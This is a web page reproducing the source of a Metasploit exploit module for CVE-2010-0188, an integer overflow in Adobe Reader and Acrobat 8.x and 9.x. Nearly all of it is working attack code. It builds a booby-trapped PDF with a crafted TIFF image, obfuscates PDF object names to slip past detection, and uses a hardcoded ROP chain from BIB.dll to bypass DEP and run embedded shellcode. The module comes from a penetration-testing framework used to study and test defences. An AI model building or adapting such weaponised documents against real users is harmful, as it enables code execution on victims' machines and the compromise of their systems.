Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_libtiff.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',15'Description' => %q{16This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat17Professional versions 8.0 through 8.2 and 9.0 through 9.3.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Microsoft', # reported to Adobe23'villy <villys777[at]gmail.com>', # public exploit24# Metasploit version by:25'jduck'26],27'References' =>28[29[ 'CVE', '2010-0188' ],30[ 'BID', '38195' ],31[ 'OSVDB', '62526' ],32[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],33[ 'URL', 'http://web.archive.org/web/20100223002318/http://secunia.com:80/blog/76' ],34[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]35],36'DefaultOptions' =>37{38'EXITFUNC' => 'process',39'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',40'DisablePayloadHandler' => true41},42'Payload' =>43{44'Space' => 1024,45'BadChars' => "\x00",46'DisableNops' => true47},48'Platform' => 'win',49'Targets' =>50[51# test results (on Windows XP SP3)52# reader 6.0.1 - untested53# reader 7.0.5 - untested54# reader 7.0.8 - untested55# reader 7.0.9 - untested56# reader 7.1.0 - untested57# reader 7.1.1 - untested58# reader 8.0.0 - untested59# reader 8.1.1 - untested60# reader 8.1.2 - untested61# reader 8.1.3 - untested62# reader 8.1.4 - untested63# reader 8.1.5 - untested64# reader 8.1.6 - untested65# reader 8.2.0 - untested66# reader 9.0.0 - untested67# reader 9.1.0 - untested68# reader 9.2.0 - untested69# reader 9.3.0 - works70[ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',71{72# ew, hardcoded offsets - see make_tiff()73}74],75],76'DisclosureDate' => '2010-02-16',77'DefaultTarget' => 0))7879register_options(80[81OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),82])8384end8586def exploit8788tiff_data = make_tiff(payload.encoded)89xml_data = make_xml(tiff_data)90compressed = Zlib::Deflate.deflate(xml_data)9192# Create the pdf93pdf = make_pdf(compressed)9495print_status("Creating '#{datastore['FILENAME']}' file...")9697file_create(pdf)9899end100101102def random_non_ascii_string(count)103result = ""104count.times do105result << (rand(128) + 128).chr106end107result108end109110def io_def(id)111"%d 0 obj\r\n" % id112end113114def io_ref(id)115"%d 0 R" % id116end117118119#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/120def n_obfu(str)121result = ""122str.scan(/./u) do |c|123if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'124result << "#%x" % c.unpack("C*")[0]125else126result << c127end128end129result130end131132133def ascii_hex_whitespace_encode(str)134result = ""135whitespace = ""136str.each_byte do |b|137result << whitespace << "%02x" % b138whitespace = " " * (rand(3) + 1)139end140result << ">"141end142143144def make_pdf(xml_data)145146xref = []147eol = "\x0d\x0a"148endobj = "endobj" << eol149150pdf = "%PDF-1.5" << eol151pdf << "%" << random_non_ascii_string(4) << eol152153xref << pdf.length154pdf << io_def(1) << n_obfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << n_obfu("/Type /EmbeddedFile>>") << eol155pdf << "stream" << eol156pdf << xml_data << eol157pdf << eol << "endstream" << eol158pdf << endobj159160xref << pdf.length161pdf << io_def(2) << n_obfu("<</V () /Kids [") << io_ref(3) << n_obfu("] /T (") << "topmostSubform[0]" << n_obfu(") >>") << eol << endobj162163xref << pdf.length164pdf << io_def(3) << n_obfu("<</Parent ") << io_ref(2) << n_obfu(" /Kids [") << io_ref(4) << n_obfu("] /T (") << "Page1[0]" << n_obfu(")>>")165pdf << eol << endobj166167xref << pdf.length168pdf << io_def(4) << n_obfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << io_ref(5)169pdf << n_obfu("/FT /Btn/TU (") << "ImageField1" << n_obfu(")/Ff 65536/Parent ") << io_ref(3)170pdf << n_obfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << n_obfu(")/Rect [107.385 705.147 188.385 709.087]>>")171pdf << eol << endobj172173xref << pdf.length174pdf << io_def(5) << n_obfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")175pdf << io_ref(6) << n_obfu("/Type /Page/PieceInfo null>>")176pdf << eol << endobj177178xref << pdf.length179pdf << io_def(6) << n_obfu("<</Kids [") << io_ref(5) << n_obfu("]/Type /Pages/Count 1>>")180pdf << eol << endobj181182xref << pdf.length183pdf << io_def(7) << ("<</PageMode /UseAttachments/Pages ") << io_ref(6)184pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << io_ref(8)185pdf << ("/Type /Catalog>>")186pdf << eol << endobj187188xref << pdf.length189pdf << io_def(8) << n_obfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << io_ref(1) << n_obfu("]/Fields [")190pdf << io_ref(2) << n_obfu("]>>")191pdf << endobj << eol192193xrefPosition = pdf.length194pdf << "xref" << eol195pdf << "0 %d" % (xref.length + 1) << eol196pdf << "0000000000 65535 f" << eol197xref.each do |index|198pdf << "%010d 00000 n" % index << eol199end200pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(7) << ">>" << eol201pdf << "startxref" << eol202pdf << xrefPosition.to_s() << eol203pdf << "%%EOF"204205end206207def make_tiff(code)208tiff_offset = 0x2038209shellcode_offset = 1500210211tiff = "II*\x00"212tiff << [tiff_offset].pack('V')213tiff << make_nops(shellcode_offset)214tiff << code215216# Padding217tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)218219tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"220tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"221tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"222tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"223tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"224tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"225tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"226227# The following executes a ret2lib using BIB.dll228# The effect is to bypass DEP and execute the shellcode in an indirect way229stack_data = [2300x70072f7, # pop eax / ret2310x10104,2320x70015bb, # pop ecx / ret2330x1000,2340x700154d, # mov [eax], ecx / ret2350x70015bb, # pop ecx / ret2360x7ffe0300, # -- location of KiFastSystemCall2370x7007fb2, # mov eax, [ecx] / ret2380x70015bb, # pop ecx / ret2390x10011,2400x700a8ac, # mov [ecx], eax / xor eax,eax / ret2410x70015bb, # pop ecx / ret2420x10100,2430x700a8ac, # mov [ecx], eax / xor eax,eax / ret2440x70072f7, # pop eax / ret2450x10011,2460x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)2470x7005c54, # pop esi / add esp,0x14 / ret2480xffffffff,2490x10100,2500x0,2510x10104,2520x1000,2530x40,254# The next bit effectively copies data from the interleaved stack to the memory255# pointed to by eax256# The data copied is:257# \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a258# \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00259# \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x902600x700d731, # mov eax, [ebp-0x24] / ret2610x70015bb, # pop ecx / ret2620x26a525a,2630x700154d, # mov [eax], ecx / ret2640x700a722, # add eax, 4 / ret2650x70015bb, # pop ecx / ret2660x3c2ecd58,2670x700154d, # mov [eax], ecx / ret2680x700a722, # add eax, 4 / ret2690x70015bb, # pop ecx / ret2700xf4745a05,2710x700154d, # mov [eax], ecx / ret2720x700a722, # add eax, 4 / ret2730x70015bb, # pop ecx / ret2740x2a4949b8,2750x700154d, # mov [eax], ecx / ret2760x700a722, # add eax, 4 / ret2770x70015bb, # pop ecx / ret2780xaffa8b00,2790x700154d, # mov [eax], ecx / ret2800x700a722, # add eax, 4 / ret2810x70015bb, # pop ecx / ret2820xfe87ea75,2830x700154d, # mov [eax], ecx / ret2840x700a722, # add eax, 4 / ret2850x70015bb, # pop ecx / ret2860xb95f0aeb,2870x700154d, # mov [eax], ecx / ret2880x700a722, # add eax, 4 / ret2890x70015bb, # pop ecx / ret2900x3e0,2910x700154d, # mov [eax], ecx / ret2920x700a722, # add eax, 4 / ret2930x70015bb, # pop ecx / ret2940x9eba5f3,2950x700154d, # mov [eax], ecx / ret2960x700a722, # add eax, 4 / ret2970x70015bb, # pop ecx / ret2980xfffff1e8,2990x700154d, # mov [eax], ecx / ret3000x700a722, # add eax, 4 / ret3010x70015bb, # pop ecx / ret3020x909090ff,3030x700154d, # mov [eax], ecx / ret3040x700a722, # add eax, 4 / ret3050x70015bb, # pop ecx / ret3060x90ffffff,3070x700154d, # mov [eax], ecx / ret3080x700d731, # mov eax, [ebp-0x24] / ret3090x700112f # call eax -- (execute stub to transition to full shellcode)310].pack('V*')311312tiff << stack_data313314Rex::Text.encode_base64(tiff)315end316317def make_xml(tiff_data)318xml_data = <<-EOS319<?xml version="1.0" encoding="UTF-8" ?>320<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">321<config xmlns="http://www.xfa.org/schema/xci/1.0/">322<present>323<pdf>324<version>1.65</version>325<interactive>1</interactive>326<linearized>1</linearized>327</pdf>328<xdp>329<packets>*</packets>330</xdp>331<destination>pdf</destination>332</present>333</config>334<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">335<subform name="topmostSubform" layout="tb" locale="en_US">336<pageSet>337<pageArea id="PageArea1" name="PageArea1">338<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />339<medium short="612pt" long="792pt" stock="custom" />340</pageArea>341</pageSet>342<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">343<break before="pageArea" beforeTarget="#PageArea1" />344<bind match="none" />345<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">346<ui>347<imageEdit />348</ui>349</field>350<?templateDesigner expand 1?>351</subform>352<?templateDesigner expand 1?>353</subform>354<?templateDesigner FormTargetVersion 24?>355<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>356<?templateDesigner Zoom 94?>357</template>358<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">359<xfa:data>360<topmostSubform>361<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>362</topmostSubform>363</xfa:data>364</xfa:datasets>365<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />366<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">367<subform name="topmostSubform">368<instanceManager name="_Page1" />369<subform name="Page1">370<field name="ImageField1" />371</subform>372<pageSet>373<pageArea name="PageArea1" />374</pageSet>375</subform>376</form>377</xdp:xdp>378EOS379xml_data.gsub!(/REPLACE_TIFF/, tiff_data)380381xml_data382end383end384385386